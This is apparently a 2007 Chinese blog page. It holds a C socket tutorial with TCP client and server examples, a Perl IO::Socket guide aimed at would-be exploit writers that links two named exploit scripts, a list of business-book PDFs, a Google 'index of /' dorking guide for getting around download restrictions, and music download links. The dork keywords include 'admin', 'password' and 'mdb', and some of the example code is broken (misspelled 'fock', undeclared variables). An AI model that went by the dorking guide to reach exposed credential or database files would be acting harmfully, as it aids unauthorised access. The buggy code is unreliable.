in_port_t sin_port; /* TCP或UDP端口 */



struct in_addr sin_addr;



char sin_zero[8];



};   



-------------------------------------------------------------------




  3、bind函数:为套接口分配一个本地IP和协议端口,对于网际协议,协议地址是32位IPv4地址或128位IPv6地址与 16位的TCP或UDP端口号的组合;如指定端口为0,调用bind时内核将选择一个临时端口,如果指定一个通配IP地址,则要等到建立连接后内核才选择 一个本地IP地址。






-------------------------------------------------------------------



#include <sys/socket.h>  



int bind(int sockfd,const struct sockaddr * myaddr,socklen_t



addrlen);



返回:0---成功   -1---失败 



-------------------------------------------------------------------




  第一个参数是socket函数返回的套接口描述字;第二和第第三个参数分别是一个指向特定于协议的地址结构的指针和该地址结构的长度。


  4、listen函数:listen函数仅被TCP服务器调用,它的作用是将用sock创建的主动套接口转换成被动套接口,并等待来自客户端的连接请求。






-------------------------------------------------------------------



#include <sys/socket.h>



int listen(int sockfd,int backlog);   



返回:0---成功   -1---失败



-------------------------------------------------------------------




  第一个参数是socket函数返回的套接口描述字;第二个参数规定了内核为此套接口排队的最大连接个数。由于listen函数第二个参 数的原因,内核要维护两个队列:以完成连接队列和未完成连接队列。未完成队列中存放的是TCP连接的三路握手为完成的连接,accept函数是从以连接队 列中取连接返回给进程;当以连接队列为空时,进程将进入睡眠状态。


  5、accept函数:accept函数由TCP服务器调用,从已完成连接队列头返回一个已完成连接,如果完成连接队列为空,则进程进入睡眠状态。






-------------------------------------------------------------------



#include <sys/socket.h>         



int accept(int sockfd,struct sockaddr *



cliaddr,socklen_t * addrlen);  



回:非负描述字---成功   -1---失败



-------------------------------------------------------------------




  第一个参数是socket函数返回的套接口描述字;第二个和第三个参数分别是一个指向连接方的套接口地址结构和该地址结构的长度;该函数返回的是一个全新的套接口描述字;如果对客户段的信息不感兴趣,可以将第二和第三个参数置为空。


  6、inet_pton函数:将点分十进制串转换成网络字节序二进制值,此函数对IPv4地址和IPv6地址都能处理。






-------------------------------------------------------------------



#include <arpa/inet.h>



int inet_pton(int family,const char * strptr,void * addrptr);



返回:1---成功 0---输入不是有效的表达格式 -1---失败



-------------------------------------------------------------------




  第一个参数可以是AF_INET或AF_INET6:第二个参数是一个指向点分十进制串的指针:第三个参数是一个指向转换后的网络字节序的二进制值的指针。


  7、inet_ntop函数:和inet_pton函数正好相反,inet_ntop函数是将网络字节序二进制值转换成点分十进制串。






-------------------------------------------------------------------



#include <arpa/inet.h>  



const char * inet_ntop(int family,const void *



addrptr,char * strptr,size_t len);  



返回:指向结果的指针---成功   NULL---失败



-------------------------------------------------------------------




  第一个参数可以是AF_INET或AF_INET6:第二个参数是一个指向网络字节序的二进制值的指针;第三个参数是一个指向转换后的点分十进制串的指针;第四个参数是目标的大小,以免函数溢出其调用者的缓冲区。


  8、fock函数:在网络服务器中,一个服务端口可以允许一定数量的客户端同时连接,这时单进程是不可能实现的,而fock就分配一个子进程和客户端会话,当然,这只是fock的一个典型应用。






-------------------------------------------------------------------



#include <unistd.h>  



pid_t fock(void);



返回:在子进程中为0,在父进程中为子进程ID   -1---失败



-------------------------------------------------------------------




  fock函数调用后返回两次,父进程返回子进程ID,子进程返回0。


  有了上面的基础知识,我们就可以进一步了解TCP套接口和UDP套接口


  1、TCP套接口


  TCP套接口使用TCP建立连接,建立一个TCP连接需要三次握手,基本过程是服务器先建立一个套接口并等待客户端的连接请求;当客户 端调用connect进行主动连接请求时,客户端TCP发送一个SYN,告诉服务器客户端将在连接中发送的数据的初始序列号;当服务器收到这个SYN后也 给客户端发一个SYN,里面包含了服务器将在同一连接中发送的数据的初始序列号;最后客户在确认服务器发的SYN。到此为止,一个TCP连接被建立。


  下面就用一个例子来说明服务器和客户是怎么连接的






-------------------------------------------------------------------



/* client.c */



#include <stdio.h>



#include <stdlib.h>



#include <errno.h>



#include <string.h>



#include <netdb.h>



#include <sys/types.h>



#include <netinet/in.h>



#include <sys/socket.h>



int main(int argc,char *argv[]) {



int sockfd,numbytes;



char buf[100];



struct hostent *he;



struct sockaddr_in their_addr;



int i = 0;



//将基本名字和地址转换



he = gethostbyname(argv[1]);



//建立一个TCP套接口



if((sockfd = socket(AF_INET,SOCK_STREAM,0))==-1) {



perror("socket");



exit(1);



}



//初始化结构体,连接到服务器的2323端口



their_addr.sin_family = AF_INET;



their_addr.sin_port = htons(2323);



their_addr.sin_addr = *((struct in_addr *)he->h_addr);



bzero(&(their_addr.sin_zero),8);



//和服务器建立连接



if(connect(sockfd,(struct sockaddr *)&their_addr,



sizeof(struct sockaddr))



==-1){



perror("connect");



exit(1);



}



//向服务器发送字符串"hello!"



if(send(sockfd,"hello!",6,0)==-1) {



perror("send");



exit(1);



}



//接受从服务器返回的信息



if((numbytes = recv(sockfd,buf,100,0))==-1) {



perror("recv");



exit(1);



}



buf[numbytes] = '';



printf("result:%s",buf);



close(sockfd);



return 0;



}



--------------------------------------------------------------------



/* server.c */



#include <stdio.h>



#include <stdlib.h>



#include <errno.h>



#include <string.h>



#include <sys/types.h>



#include <netinet/in.h>



#include <sys/socket.h>



#include <sys/wait.h>



main() {



int sockfd,new_fd;



struct sockaddr_in my_addr;



struct sockaddr_in their_addr;



int sin_size;



//建立TCP套接口



if((sockfd = socket(AF_INET,SOCK_STREAM,0))==-1) {



perror("socket");



exit(1);



}



//初始化结构体,并绑定2323端口



my_addr.sin_family = AF_INET;



my_addr.sin_port = htons(2323);



my_addr.sin_addr.s_addr = INADDR_ANY;



bzero(&(my_addr.sin_zero),8);



//绑定套接口



if(bind(sockfd,(struct sockaddr *)&my_addr,sizeof(struct



sockaddr))==-1)



{



perror("bind");



exit(1);



}



//创建监听套接口



if(listen(sockfd,10)==-1) {



perror("listen");



exit(1);



}



//等待连接



while(1) {



sin_size = sizeof(struct sockaddr_in);



perror("server is run");



//如果建立连接,将产生一个全新的套接字



if((new_fd = accept(sockfd,(struct sockaddr *)



&their_addr,&sin_size))==-1)



{



perror("accept");



exit(1);



}



//生成一个子进程来完成和客户端的会话,父进程继续监听



if(!fork()) {



//读取客户端发来的信息



if((numbytes = recv(new_fd,buff,strlen(buff),0))==-1)



{



perror("recv");



exit(1);



}



printf("%s",buff);



//将从客户端接收到的信息再发回客户端



if(send(new_fd,buff,strlen(buff),0)==-1)



perror("send");



close(new_fd);



exit(0);



}



close(new_fd);



}



close(sockfd);



}



------------------------------------------------------------------




   现在让我们来编译这两个程序:






root@linuxaid#gcc -o server server.c



root@linuxaid#gcc -o client client.c




然后在一台计算机上先运行服务器程序,再在另一个终端上运行客户端就会看到结果;如果不运行服务器程序而先运行客户程序将立即提示"Connect: Connection refused",这就是TCP套接口的好处,如果是UDP套接口将会有一个延时才会得到错误信息(UDP套接口后面有介绍)。


  建立一个TCP连接需要三次握手,而断开一个TCP则需要四个分节。当某个应用进程调用close(主动端)后(可以是服务器端,也可 以是客户端),这一端的TCP发送一个FIN,表示数据发送完毕;另一端(被动端)发送一个确认,当被动端待处理的应用进程都处理完毕后,发送一个FIN 到主动端,并关闭套接口,主动端接收到这个FIN后再发送一个确认,到此为止这个TCP连接被断开。


  2、UDP套接口


  UDP套接口是无连接的、不可靠的数据报协议;既然他不可靠为什么还要用呢?其一:当应用程序使用广播或多播是只能使用UDP协议;其 二:由于他是无连接的,所以速度快。因为UDP套接口是无连接的,如果一方的数据报丢失,那另一方将无限等待,解决办法是设置一个超时。


  在编写UDP套接口程序时,有几点要注意:建立套接口时socket函数的第二个参数应该是SOCK_DGRAM,说明是建立一个 UDP套接口;由于UDP是无连接的,所以服务器端并不需要listen或accept函数;当UDP套接口调用connect函数时,内核只记录连接放 的IP地址和端口,并立即返回给调用进程,正因为这个特性,UDP服务器程序中并不使用fock函数,用单进程就能完成所有客户的请求。



IO::Socket简介

另一个构造socket库,使用对象构造模式。如果您看过wawa老大的动网EXPLOIT与isno大哥的WEBDAVX,您就会发现这些EXPLOITS都是使用这个库做的,所以如果您想写EXPLOITS的话,不妨看看此文。

以前我写的是传统的C语言‘遗留’下了的SOCKET库它使用了部分C库的二进制格式,导致PERL无法完全使用它。而这篇文所介绍的IO::Socket库是IO::Handle的子类,完全对象编程,一切就会‘自由’很多了......

使用格式与常用方法(父类IO::Handle与IO::File的通用方法就不在下文中说明了):
=============================================================================
-----------------------------------------------------------------------------
导入IO::Socket包:
use IO::Socket;

讲解:
IO::Socket下又有两个子类IO::Socket::INET与IO::Socket::UNIX,我们现在用的当然是IO::Socket::INET了。
-----------------------------------------------------------------------------

new()方法:
SOCKET对象变量=IO::Socket::INET->new(SOCKET变量值);

实例:
$sock=IO::Socket::INET->new('192.168.1.2:23');

讲解:
所有的PERL对象编程都把对象‘形象化’为某个变量,这里的SOCKET句柄对象也不例外,调用此方法的返回值便为SOCKET对象变量 了。这里使用参数为简单参数模式,在双引号或但引号内的socket地址结构为'主机IP或域名:端口号或服务名称',也可以是'主机IP或域名:服务名 称(端口号)'。

除了最简单的单参数调用外,new方法还有很多参数可以选择性调用的,下面就对这些参数作出一个简单的概括吧:
***********************************************************************
参数 描述 值类型
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
PeerAddr 远程主机的地址 主机地址[:端口或服务]
PeerHost 与PeerAddr相同
PeerPort 远程端口或服务 端口或服务
LocalAddr 本地地址 主机地址[:端口或服务]
LocalHost 与LocalAddr相同
LocalPort 本地端口 端口或服务
Proto 所使用的协议 协议名或协议号
Type 套接字类型 SOCK_STREAM/SOCK_DGRAM...
Listen 监听的队列长度 整形数
Reuse 用于避免重启时BIND时间间隙 布尔值
Timeout 超时值 整形数
MultiHomed 用于连接多IP地址 布尔值
***********************************************************************

参数PeerAddr(远程主机地址)与PeerHost(远程主机名)基本相同,调用方式也相同,其值格式除了标准的格式外,还可以加':'号后再加端口或服务,这样的的话,后面的参数PeerPort(远程主机端口或服务)的值就无效了。

参数PeerPort(远程主机端口或服务),其值的格式可以是端口,还可以是服务名,更可以是‘组合’,如:"telnet(23)";当PeerAddr(远程主机地址)或
PeerHost(远程主机名)的值格式中指明了端口,再调用此参数时,此参数的值无效。

参数LocalAddr(本地主机地址)、LocalHost(本地主机名)、LocalPort(本地主机端口或服务)之间的关系与调用方 式与上面介绍的三个参数PeerAddr(远程主机地址)、PeerHost(远程主机名)、PeerPort(远程主机端口或服务)相当。

还有一种情况,就是如果只定义了LocalPort(本地主机端口或服务),而没有定义LocalAddr(本地主机地址)或 LocalHost(本地主机名),那IO::Socket会将本地机器的地址的值默认为INADDR_ANY通配符,也就是不定义本地主机的地址值的话 就定义为允许所有接口。

Proto(协议类型)的值可以用两种方式表示。一种是直接的字符串表示方式,如:

proto=>"tcp"

表示该协议类型为TCP。第二种方式就是直接使用协议号了,EGP---8、HMP---20、ICMP---1、RAW---255、RDP- --27、RVD---66、TCP---6、UDP---17、XNS-IDP---22、其他---22、ALL---0;也可以使用 getprotobyname函数加协议名为参数调用获的该值,如:

proto=>getprotobyname('tcp')

该形式也表示该协议的类型为TCP。建议还是使用第一种方式比较方便。

Type(套接字类型)的值通常为SOCK_STREAM(流套接字)、SOCK_DGRAM(数据报套接字)、SOCK_RAW(原始套接字)等,不用说大家都知道,TCP用的是流套接字,UDP用的是数据报套接字,构造IP包用的是原始套接字。

如果上面的参数Proto(协议类型)与Type(套接字类型)的值都不定义的话,IO::Socket::INET就会通过程序中上下‘文’部分猜估它们的值,猜估不到的话就会默认为'tcp'。

参数Listen(监听队列的长度)的值是一个整形数。它代表能接受的连接主机数量。如果您要构造服务端的话,Listen这个步骤是必不可少的。

调用Reuse(在绑定前设置SO_REUSEADDR)可以免去服务器在终止到重启之间的所停留的时间。

Timeout(超时值)以秒计算,用于连接中的connect与accept这两个步骤,调用目的是为了在连接远程主机不可到达时限制连接的挂起时间。

MultiHomed(用于连接多IP地址)的值是一个布尔值,当其值为真时,如果要连接的主机拥有多个IP地址,则本机的new方法调用gethostbyname()穷举其所有IP地址,直到能成功调用为止。

从楼上的列表中可以看到IO::Socket与传统C库的Socket API接口在调用上有什么不同了:

1)控制范围不同。C库提供的接口在生成SOCKET句柄时只能控制的只有域、套接字类型、协议这几个参数。而IO::Socket接口的创建语句(调用new方法)几乎能决定这个套接字的所有参数。

2)调用所使用的‘协议’定义部分不同。IO::Socket接口调用new方法中的参数'Proto'的值可以直接定义为'tcp',这比传统C库的Socket定义更为简便。

3)IO::Socket在定义时能直接定义本地主机地址、本地端口与远程主机地址、远程端口在一个Socket中,如果是这种情况的服务端 就无需调用accept了,在I/O读写部分可以直接向这个Socket进行读写操作,而无需再定义远程客户端的Socket了。
-----------------------------------------------------------------------------

accept()方法:
远程连接套接字对象变量=服务端套接字对象变量->accept();

实例:
$remote_sock=$sock->accept();

讲解:
此方法的调用环境与传统C中SOCKET库调用原理一样,用于服务端的等待监听过程。无参数,返回值为远程连接的套接字对象变量。调用此方法 也是一个生成套接字的过程,只不过此套接字为远程连接的套接字而已,它以对象变量方式存在,据有与本地套接字变量相同的属性与方法。

accept()方法在IO::Socket包里还提供另一种双返回值的调用方法:

(远程连接套接字对象变量,远程主机压缩地址变量)=服务端对象变量->accept();

实例:
($remote_sock,$remote_addr)=$sock->accept();

讲解:
与楼上一个返回值的调用方式基本相同,只是返回值中多了一个变量而已,返回值中多了个变量------远程主机压缩地址变量。
-----------------------------------------------------------------------------

bind()方法:
返回值变量=服务端套接字对象变量->bind(本地端口号,本地主机网络地址);

实例:
$result=$sock->bind(80,'127.0.0.1');

讲解:
bind方法用于在服务器端绑定主机的地址与端口。它使用的两个参数都为未压缩值,第一个为端口,第二个为主机的网络适配器接口地址(可以使 用默认的保留字INADDR_ANY,此保留字包括了主机的所有网络适配器接口地址,调用它时,它会以穷举的方法穷举所有的网络适配器接口地址,直到找到 为止);返回值为布尔值,用于检测这次调用是否成功。
-----------------------------------------------------------------------------

connect()方法:
返回值变量=套接字对象变量->connect(压缩地址变量);

实例:
$result=$sock->connect($pack_addr);

讲解:
常用于TCP连接(也可用于UDP,不过不常用),调用将向远程主机发送连接请求。参数‘压缩地址变量’为sockaddr_in形式值,返 回值为布尔值。若调用此方法则建立IO::Socket::INET对象时不能赋予参数'PeerAddr'或'PeerHost'、 'PeerPort',否则就会出现程序逻辑错误。

connect()方法也有双参数调用方式,使用起来更简单:
返回值变量=套接字对象变量->connect(远程端口号,远程主机地址);

实例:
$result=$sock->connect($remote_port,$remote_host);

讲解:
调用的目的与楼上单参数的调用方式相当。第一个参数为远程需要连接的主机的端口(等于new方法的参数'PeerPort'),第二个参数为需要连接的主机地址(等于new方法的参数'PeerAddr'或'PeerHost'),返回值为布尔值。
-----------------------------------------------------------------------------

listen()方法:
返回值变量=套接字对象变量->listen(请求队列的最大长度值);

实例:
$result=$sock->listen(20);

讲解:
TCP服务端不可缺少的方法。单参数,参数为此服务端接受远端请求队列的最大长度值,返回值为布尔值。调用此方法等同于在建立IO:: Socket::INET对象时定义参数'Listen'的值,所以若在new方法中定义了参数'Listen'再调用此方法的话就会出现‘程序定义冲突 ’这样的逻辑错误了。
-----------------------------------------------------------------------------

shutdown()方法:
返回值变量=套接字对象变量->shutdown(控制参数);

实例:
$result=$sock->shutdown(2);

讲解:
此方法是除了close外的另一个关闭套接字对象的方法。单参数,参数值为外加参数定义,下为此方法的外加参数列表:
***********************************************************************
参数值 描述
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
0 关闭对象套接字的读操作
1 关闭对象套接字的写操作
2 关闭对象套接字的所有操作
***********************************************************************
其返回值为布尔值。
-----------------------------------------------------------------------------

send()方法:
成功发送的数据值变量=套接字对象变量->send(发送数据,标志值,目标地址值);

实例:
$succ_bytes=$sock->send('hihi\n',0,$pack_host);

讲解:
send方法是专门为SOCKET发送数据的特殊方法,调用格式与参数格式也基本与C库的SOCKET API中的send函数相同。第一个参数是需要发送的数据;第二参数是标志值,不添的话默认为0;第三个参数通常只用于UDP连接,是需要连接的 sockaddr_in格式地址值(注意:当第三个参数有必要一定要写时,第二个参数也一定要加上);返回值为成功发送的数据值大小(以byte为单 位)。
-----------------------------------------------------------------------------

recv()方法:
压缩远程地址地址=套接字对象变量->recv(接收数据变量,接收数据值长度,标志值);

实例:
$remote_pack_address=$sock->recv($mem,100,0);

讲解:
recv方法是专门为SOCKET接收数据的特殊方法,调用格式与参数格式也与C库的SOCKET API基本一样。第一个参数是存放接收后的数据的变量值;第二个参数是接收的数据的长度值;第三个参数是标志值,默认为0就可以了(省略此值不填,系统默认也为0)。
-----------------------------------------------------------------------------
===================================================================================

IO::Socket接口的常用方法就介绍完了,不过还有一个问题是需要注意的: 作为一个简单的客户端,它的步骤只需要先调用new方法,然后立刻就可以进行基本I/O操作(使用print与getline等基本I/O方法)了,最后 只需调用close方法结束会话,那么整个SOCKET会话就算完成了。

典型使用例子:
wawa's dvbbs exploit: http://haowawa.8866.org/wawa/new/tech/dvbbs.pl
isno's webdavx exploit: http://www.xfocus.net/tools/200304/webdavx3.pl

究竟C库的传统SOCKET接口与本文介绍的IO::Socket接口哪个比较好用呢???我只能回答你:"萝卜青菜,各有所爱"......:P



posted @ 2007-10-18 11:18 MEYE 阅读(820) | 评论 (0)编辑 收藏
     摘要:     嵌入式系统开发学习:             随着现代社会信息化进程的加快,嵌入式系统被广泛的地应用于军事、家用、工业、商业、办公、医疗等社会各个方面,表现出很强的投资价值。从国际范围来看,作为数字化电子信息产品核心的嵌入式系统目前其硬件和软件开发工具市场已经突破2...  阅读全文
posted @ 2007-10-17 19:16 MEYE 阅读(1965) | 评论 (0)编辑 收藏
56本管理精粹书

附件: CI革命—塑造企业个性与美感的法宝.pdf (2007-7-10 23:55, 434.68 K)
该附件被下载次数 54


附件: M的奇迹——麦当劳商法.pdf (2007-7-10 23:55, 335.92 K)
该附件被下载次数 42


附件: STP营销—市场细分、目标市场选择与产品定位.pdf (2007-7-10 23:55, 405.66 K)
该附件被下载次数 29


附件: 百川入海—分销渠道决策.pdf (2007-7-10 23:55, 355.67 K)
该附件被下载次数 19


附件: 财会革命—会计电算化.pdf (2007-7-10 23:57, 425.62 K)
该附件被下载次数 20


附件: 长袖善舞——管理者人际关系谋略.pdf (2007-7-10 23:57, 317.57 K)
该附件被下载次数 37


附件: 成功有约—高效会计手册.pdf (2007-7-10 23:57, 297.69 K)
该附件被下载次数 15


附件: 从封闭走向开放—企业涉外经贸合作实务.pdf (2007-7-10 23:57, 298.46 K)
该附件被下载次数 16


附件: 高位竞争—企业形象管理艺术.pdf (2007-7-11 00:00, 411.5 K)
该附件被下载次数 21


附件: 管理导航—企业目标管理手册.pdf (2007-7-11 00:00, 365.32 K)
该附件被下载次数 21

附件: 帮你订合同—企业签约实务.pdf (2007-7-10 23:56, 402.08 K)
该附件被下载次数 15


附件: 别让你的权力睡着了—公司结构与领导权力.pdf (2007-7-10 23:56, 383.05 K)
该附件被下载次数 16


附件: 会当凌绝顶——成功领导典范.pdf (2007-7-11 00:02, 427.39 K)
该附件被下载次数 18


附件: 稽核与控制——企业审计手册.pdf (2007-7-11 00:02, 264.43 K)
该附件被下载次数 14


附件: 尖兵—门市经理手册.pdf (2007-7-11 00:02, 336.67 K)
该附件被下载次数 17


附件: 蛟龙出水——台湾成功企业管理模式.pdf (2007-7-11 00:02, 440.52 K)
该附件被下载次数 15


附件: 魔道斗法—成功讨债技巧.pdf (2007-7-12 23:28, 304.1 K)
该附件被下载次数 9


附件: 能挣钱巧开支—企业出纳手册.pdf (2007-7-12 23:28, 336.58 K)
该附件被下载次数 8


附件: 拍板—企业领导决策方法.pdf (2007-7-12 23:28, 459.24 K)
该附件被下载次数 9


附件: 钱生钱—企业金融手册.pdf (2007-7-12 23:28, 303.78 K)
该附件被下载次数 10

附件: 点燃心火—员工激励手册.pdf (2007-7-10 23:58, 443.75 K)
该附件被下载次数 18


附件: 放飞的龙——海外华侨成功商法.pdf (2007-7-10 23:58, 425.02 K)
该附件被下载次数 17


附件: 金钱魔杖——现代犹太商法.pdf (2007-7-11 00:03, 440.78 K)
该附件被下载次数 19


附件: 金算盘—经理人会计.pdf (2007-7-11 00:03, 308.73 K)
该附件被下载次数 11


附件: 经理人笔记本.pdf (2007-7-11 00:03, 290.5 K)
该附件被下载次数 25


附件: 经营之神——松下幸之助商法.pdf (2007-7-11 00:03, 281.03 K)
该附件被下载次数 17


附件: 樱花与剑——日本商业智慧.pdf (2007-7-12 23:41, 309.84 K)
该附件被下载次数 9


附件: 中国商训—传统生意经.pdf (2007-7-12 23:41, 424.69 K)
该附件被下载次数 9


附件: 纵横捭阖—哈佛谈判术.pdf (2007-7-12 23:41, 316.98 K)
该附件被下载次数 10


附件: 蛛丝马迹—企业管理弊病的觉察与诊治.pdf (2007-7-12 23:41, 483.92 K)
该附件被下载次数 7


附件: 飞钱—企业票据管理手册.pdf (2007-7-10 23:58, 291.44 K)
该附件被下载次数 11


附件: 分享与分担—员工入股理论与实践.pdf (2007-7-10 23:58, 259.61 K)
该附件被下载次数 13


附件: 精英风采——管理者形象设计手册.pdf (2007-7-12 23:23, 422.36 K)
该附件被下载次数 7


附件: 决胜千里—市场营销战略与战术.pdf (2007-7-12 23:23, 384.72 K)
该附件被下载次数 10


附件: 流金岁月—时间管理艺术.pdf (2007-7-12 23:23, 322.58 K)
该附件被下载次数 11


附件: 路路通——企业办证指南.pdf (2007-7-12 23:23, 395 K)
该附件被下载次数 7


附件: 商战护身符—企业法律实务指南.pdf (2007-7-12 23:42, 221.02 K)
该附件被下载次数 8


附件: 神奇的PR——商用公关手册.pdf (2007-7-12 23:42, 352.34 K)
该附件被下载次数 9


附件: 生命线—质量管理手册.pdf (2007-7-12 23:42, 433.62 K)
该附件被下载次数 8


附件: 无敌保险箱—会计错弊防范手册.pdf (2007-7-12 23:42, 283.79 K)
该附件被下载次数 7


附件: 心灵之光——经理人心理健康指南.pdf (2007-7-12 23:42, 358.49 K)
该附件被下载次数 8


附件: 新编一千零一夜—故事中的管理.pdf (2007-7-12 23:42, 271.78 K)
该附件被下载次数 11


附件: 复眼—企业管理信息系统.pdf (2007-7-11 00:00, 280.04 K)
该附件被下载次数 15


附件: 干戈玉帛—顾客抱怨处理艺术.pdf (2007-7-11 00:00, 270.74 K)
该附件被下载次数 16


附件: 卖手—冠军推销手册.pdf (2007-7-12 23:27, 422.08 K)
该附件被下载次数 8


附件: 漫步地球村——管理者国际交往手册.pdf (2007-7-12 23:27, 452 K)
该附件被下载次数 9


附件: 名牌与金牌—商标管理实务.pdf (2007-7-12 23:27, 310.08 K)
该附件被下载次数 7


附件: 明察秋毫—现代查帐手册.pdf (2007-7-12 23:27, 287.06 K)
该附件被下载次数 7


附件: 强者风采——现代商用礼仪.pdf (2007-7-12 23:31, 362.31 K)
该附件被下载次数 15


附件: 商业担保—信用证ABC.pdf (2007-7-12 23:31, 275.15 K)
该附件被下载次数 9


附件: 商用兵法—管理实践韬略.pdf (2007-7-12 23:31, 297.32 K)
该附件被下载次数 7


附件: 商用战典——西方兵法与经营谋略.pdf (2007-7-12 23:31, 282.9 K)
该附件被下载次数 7


附件: 新官上任——新任经理人工作指南.pdf (2007-7-12 23:46, 385.07 K)
该附件被下载次数 10


附件: 艳阳半边天—女职员管理艺术.pdf (2007-7-12 23:46, 311.88 K)
该附件被下载次数 7


附件: 一代天骄——世界著名企业家成功典范.pdf (2007-7-12 23:46, 368.75 K)
该附件被下载次数 10


附件: 以人为本—企业劳动保护.pdf (2007-7-12 23:46, 294.26 K)
该附件被下载次数 7

国外编程网址

www.codeproject.com
www.codegugu.com
http://www.devx.com/


用google 突破

首先打开Google,在关键词输入框中输入"index of/"inurl:lib(双引号为英文状态下),选择“搜索简体中文网页”选项,回车搜索,得到了一些网页,不要以为这是一些普通的页面,其实它们是一些图书网站的资源列表,点击打开它来看看,怎么样?是不是所有资源一收眼底了?

使用其他关键字可能得到更多的资源
在搜索框上输入:"index of /"cnki
再按搜索你就可以找到许多图书馆的CNKI、VIP、超星等入口!
在搜索框上输入:"index of /" ppt
再按搜索你就可以突破网站入口下载powerpint作品
在搜索框上输入:"index of /"mp3
再按搜索你就可以突破网站入口下载mp3、rm等影视作品
在搜索框上输入:"index of /"swf
再按搜索你就可以突破网站入口下载flash作品
在搜索框上输入:"index of /"加上要下载的软件名

再按搜索你就可以突破网站入口下载软件
到这里,大家也许都明白了,其实就是"index of /"这个关键词在起的作用,使用它可以直接进入网站首页下的所有文件和文件夹中,不必在通过HTTP的网页形式了,从而避免了那些网站的限制,作到了突破限制下载




超级P2P搜索引擎让所有收费网站破产!
搜索Google大家都用过吧?我们正是利用它强劲的搜索功能来突破封锁下载,Google搜索和限制下载有什么关系,没可能实现吧?不要不相信哦,往下看哦!

http://www.google.com/intl/zh-CN/
http://www.3721.com/
http://www.baidu.com/

首先打开Google,在关键词输入框中输入"index of/"inurl:lib(双引号为英文状态下),选择“搜索简体中文网页”选项,回车搜索,得到了一些网页,不要以为这是一些普通的页面,其实它们是一些图书网站的资源列表,点击打开它来看看,怎么样?是不是所有资源一收眼底了?

使用其他关键字可能得到更多的资源:

在搜索框上输入:"index of /"cnki

再按搜索你就可以找到许多图书馆的CNKI、VIP、超星等入口!

在搜索框上输入:"index of /" ppt

再按搜索你就可以突破网站入口下载powerpint作品!

在搜索框上输入:"index of /"mp3

再按搜索你就可以突破网站入口下载mp3、rm等影视作品!

在搜索框上输入:"index of /"swf

再按搜索你就可以突破网站入口下载flash作品!

在搜索框上输入:"index of /"加上要下载的软件名

再按搜索你就可以突破网站入口下载软件!

在搜索框上输入:"index of /"AVI

再按搜索你就可以突破网站入口下载AVI视频

你会找到什么呢?同理,把AVI换为MPEG看看又会找到什么呢?呵呵!接下来不用我再教了吧?那就试一下你的手气吧!

"index of /" RMVB
"index of /" WMA
"index of /" MTV
"index of /" MPEG
以下是百度搜索排名
1. index of mpeg4
3. index of mp3
4. index of cnki
5. index of rmvb
6. index of rm
7. index of movie
8. index of swf
9. index of jpg
10. index of admin
12. index of pdf
13. index of doc
14. index of wmv
15. index of mdb
16. index of mpg
17. index of mtv
18. index of software
19. index of mov
20. index of asf
23. index of lib
24. index of vod
25. index of rar
27. index of exe
28. index of iso
29. index of video
30. index of book
31. index of soft
32. index of chm
33. index of password
34. index of game
35. index of music
36. index of dvd
37. index of mid
38. index of ebook
40. index of download

到这里,大家也许都明白了,其实就是"index of /"这个关键词在起的作用,使用它可以直接进入网站首页下的所有文件和文件夹中,不必在通过HTTP的网页形式了,从而避免了那些网站的限制,作到了突破限制下载。

怎么回事?点鼠标右键直接用网际快车下不了,都是网页,链接地址是乱码。别灰心懈气,可以在新窗口中打开页面中的超链接,真实地址不就出来了。


posted @ 2007-10-07 22:14 MEYE 阅读(671) | 评论 (0)编辑 收藏
音乐网站大全

现代摇滚单曲排行榜——更新较快,20首最TOP现代摇滚单曲下载,免费
http://www.fwcn.com/billboard/

音乐天使——来自天堂的声音,来自天使的声音,如梦似幻,与你分享……
http://music.angelyaya.net/gs/

英语之声——可下载欧美经典3辑99首mp3格式音乐
http://www.english.ac.cn/songs/index.htm

yepoo音乐——收集有六张欧美音乐专辑,mp3格式,192.0Kpbs码率(速度超级快)
http://www.yepoo.com/main.asp

嘎雅NEWAGE音乐——提供大量NEWAGE音乐下载,mp3格式,音质不错
http://gaea.hit.edu.cn/m3uplay/nvmake/nc.asp

震撼音乐——淄博供电公司提供的154首经典音乐,主要是欧美mp3音乐下载
http://61.156.17.162/MP3/

蚂蚁的欧美歌曲 1 4 5 ——提供30多张近1000首欧美歌曲下载,全部mp3格式
http://qol.qdc.com.cn/mp3/omlmjd/ANTS.HTM
http://media.gdpc.edu.cn/music/cdvolume/ant4/ant4.htm
http://media.gdpc.edu.cn/music/cdvolume/ant5/ant5.htm

古典圣殿——提供70张音乐专辑在线试听
http://210.34.4.3/cd-bible/gudian/gudian.htm

天外之音——免费提供40CD的WMA格式音乐下载,大部分为欧美音乐
http://www.zhzx.net.cn/students/studentpage/bright/index.htm

电影画廊——免费提供30多张电影主要是欧美电影原声音乐下载,全部mp3格式
http://202.103.25.159/cine/music/mp3.htm

第一城市——免费提供两张M2M的专辑和一张007专辑下载,全部mp3格式
http://www.ecityboy.com/03down/index-3.htm

影视先锋——提供较多欧美、日韩电影原声下载赏析 Midi格式 MP3格式 RM格式
http://202.102.230.12/movie/music/mp3/notting/mp3.htm
http://202.102.230.12/movie/music/shang.htm
http://202.102.230.12/movie/music/midi.htm
http://202.102.230.12/movie/music/mp3.htm
http://202.102.230.12/movie/music/rm.htm

LOW摇滚音乐网——免费提供Linkin Park,Limp Bizkit,Foo Fighters,Silverchair等14位歌手的专辑下载
http://www.low69.com/download.html
http://www.low69.com/mp3/LinkinPark.html
http://www.low69.com/mp3/LimpBizkit.html
http://www.low69.com/mp3/FooFighters.html
http://www.low69.com/mp3/Silverchair.html

古典音乐厅——收集肖邦、斯特劳斯、柴可夫斯基、贝多芬、巴赫等17位世界音乐大师的主要作品,提供rm、mp3下载
http://bds.cetin.net.cn:81/cetin2/sp/music-hall/music-1.htm

百度mp3论坛精华—顾名可思义,可以找到很多欧美音乐,且下载很方便
http://forum.baidu.com/cgi-bin/f ... id=16&age=0

欧美影视金曲——提供134首经典欧美影视金曲mp3下载
http://brightsun.hr.hl.cn/xiuxian/yjt/ysjq/

歌曲集萃——厦门6中音乐网,有经典老歌、英文金曲、影视名曲、童声合唱、世界经典名曲下载,全部mp3格式
http://www.liuzhong.xm.fj.cn/music2/
http://www.liuzhong.xm.fj.cn/music2/song/song.htm
http://www.liuzhong.xm.fj.cn/music2/song/english/english.htm
http://www.liuzhong.xm.fj.cn/music2/filmsong/filmsong.htm
http://www.liuzhong.xm.fj.cn/music2/song/song03.htm
http://www.liuzhong.xm.fj.cn/music2/xfmq/shijie01.htm

